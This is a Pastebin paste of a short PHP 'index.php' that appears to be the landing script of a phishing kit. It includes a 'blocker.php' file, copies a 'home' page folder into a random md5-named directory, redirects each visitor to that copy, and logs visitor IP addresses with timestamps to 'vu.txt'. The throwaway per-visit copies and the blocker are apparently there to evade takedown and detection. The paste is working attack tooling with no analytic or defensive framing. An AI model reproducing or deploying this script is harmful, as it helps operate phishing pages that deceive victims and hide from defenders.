Advertisement
PalmaSolutions

index.php

Jun 16th, 2018
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.60 KB | None | 0 0
  1. <?
  2.  
  3. include('blocker.php');
  4. $DIR=md5(rand(0,100000000000));
  5. function recurse_copy($home,$DIR) {
  6. $dir = opendir($home);
  7. @mkdir($DIR);
  8. while(false !== ( $file = readdir($dir)) ) {
  9. if (( $file != '.' ) && ( $file != '..' )) {
  10. if ( is_dir($home . '/' . $file) ) {
  11. recurse_copy($home . '/' . $file,$DIR . '/' . $file);
  12. }
  13. else {
  14. copy($home . '/' . $file,$DIR . '/' . $file);
  15. }
  16. }
  17. }
  18. closedir($dir);
  19. }
  20. $home="home";
  21. recurse_copy( $home, $DIR );
  22. header("location:$DIR");
  23. $ip = getenv("REMOTE_ADDR");
  24. $file = fopen("vu.txt","a");
  25. fwrite($file,$ip."  -  ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n");
  26. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement